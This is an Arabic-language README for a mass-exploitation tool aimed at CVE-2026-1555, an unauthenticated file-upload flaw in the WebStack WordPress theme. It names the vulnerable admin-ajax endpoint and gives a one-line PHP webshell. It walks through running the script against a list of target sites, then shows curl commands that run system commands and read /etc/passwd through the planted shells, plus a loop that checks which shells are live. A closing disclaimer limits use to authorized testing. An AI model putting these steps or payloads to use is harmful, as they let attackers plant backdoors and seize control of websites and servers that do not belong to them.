
WebStack <= 1.2024 - رفع ملفات تعسفي بدون مصادقة
WebStack <= 1.2024 - رفع ملفات تعسفي بدون مصادقة
تنفيذ كود عن بُعد بدون مصادقة عبر معالج AJAX img_upload
| الحقل | التفاصيل |
|---|---|
| معرّف CVE | CVE-2026-1555 |
| المكوّن المتأثر | قالب WebStack لـ WordPress |
| الإصدارات المتأثرة | جميع الإصدارات حتى 1.2024 وما يشمله |
| نوع الثغرة | رفع ملفات تعسفي ← تنفيذ كود عن بُعد |
| المصادقة المطلوبة | ❌ لا شيء (بدون مصادقة) |
| درجة CVSS | 9.8 CRITICAL |
| ناقل CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
الدالة io_img_upload() المسجَّلة تحت خطاف الإجراء img_upload في ملف admin-ajax.php الخاص بـ WordPress لا تُجري أي تحقق من نوع الملف أو امتداده قبل كتابة الملف المرفوع على الخادم. وبما أن الإجراء مسجَّل دون فحوصات مصادقة (wp_ajax_nopriv_)، يمكن لأي مهاجم بعيد بدون مصادقة إرسال ملف تعسفي — بما في ذلك قشرة ويب PHP — وسيقوم الخادم بتخزينه في مسار متاح للعموم، مما يتيح تنفيذ كود عن بُعد مباشرًا.
نقطة الوصول المُعرَّضة:
POST /wp-admin/admin-ajax.php
action=img_upload
files=@<payload>
uploaded_paths.txtإصدار Python: 3.8+
ثبّت التبعيات:
pip install requests rich urllib3
أنشئ ملفًا باسم list.txt (أو أي اسم تفضّله) بحيث يحتوي على هدف واحد في كل سطر:
https://target1.com
https://target2.com
http://target3.com
الأهداف التي لا تحتوي على
http://أوhttps://تُسبَق تلقائيًا بـhttp://.
ضع قشرة الويب في نفس المجلد الذي يحتوي السكربت. مثال:
# Minimal PHP webshell
echo '<?php system($_GET["cmd"]); ?>' > shell.php
python CVE-2026-1555.py
سيُطلب منك إدخال:
| المُطالبة | الوصف | الافتراضي |
|---|---|---|
Targets file | المسار إلى قائمة الأهداف لديك | list.txt |
Threads | عدد العمال المتزامنين | 6 |
Local file to upload | اسم ملف الحمولة (في مجلد السكربت) | shell.php |
كل عملية رفع ناجحة تطبع:
╭─ IMG_UPLOAD ──────────────────────────────────╮
│ Upload successful │
│ │
│ Target: https://target.com │
│ Shell URL: https://target.com/wp-content/... │
╰────────────────────────────────────────────────╯
تُضاف جميع روابط القشرة الناجحة إلى:
uploaded_paths.txt
بعد رفع ناجح، يمكنك الوصول إلى القشرة مباشرة عبر المتصفح أو curl:
# Browser
https://target.com/wp-content/uploads/shell.php?cmd=id
# curl
curl "https://target.com/wp-content/uploads/shell.php?cmd=whoami"
# Full command execution
curl "https://target.com/wp-content/uploads/shell.php?cmd=cat+/etc/passwd"
يُستخرج مسار الرفع الدقيق من استجابة JSON الخاصة بالخادم (
data.src) ويُطبع تلقائيًا.
تحقق سريعًا من جميع القشور المرفوعة من ملف المخرجات:
while read url; do
echo -n "[*] $url -> "
curl -sk "$url?cmd=id" 2>/dev/null || echo "DEAD"
done < uploaded_paths.txt
في نهاية كل تشغيل، يُطبع ملخص:
Summary 50/50 OK: 12 FAIL: 38
╭──────────────────────────────────────────╮
│ Shell URLs saved to uploaded_paths.txt │
╰──────────────────────────────────────────╯
CVE-2026-1555.py ← Main exploit script
list.txt ← Target URLs (one per line)
shell.php ← Payload to upload
uploaded_paths.txt ← Auto-generated: successful shell URLs
هذه الأداة مُقدَّمة حصريًا لاختبار الاختراق المصرح به والبحث الأمني والأغراض التعليمية فقط.
المؤلف — Nxploited — لا يتحمل أي مسؤولية عن أي إساءة استخدام أو ضرر أو نشاط غير قانوني يتم تنفيذه باستخدام هذه الأداة. باستخدامك لهذه الأداة، فإنك تؤكد أن لديك إذنًا كتابيًا صريحًا لاختبار جميع الأنظمة المستهدفة.
الاستخدام غير المصرح به ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها هو أمر غير قانوني وقد يؤدي إلى الملاحقة الجنائية بموجب قوانين الجرائم الإلكترونية المعمول بها.
استخدمها بمسؤولية. أنت وحدك المسؤول عن أفعالك.
👤 المؤلف: Nxploited 📣 القناة: Nxploited ZeroDay Hub 💬 تيليجرام: @KNxploited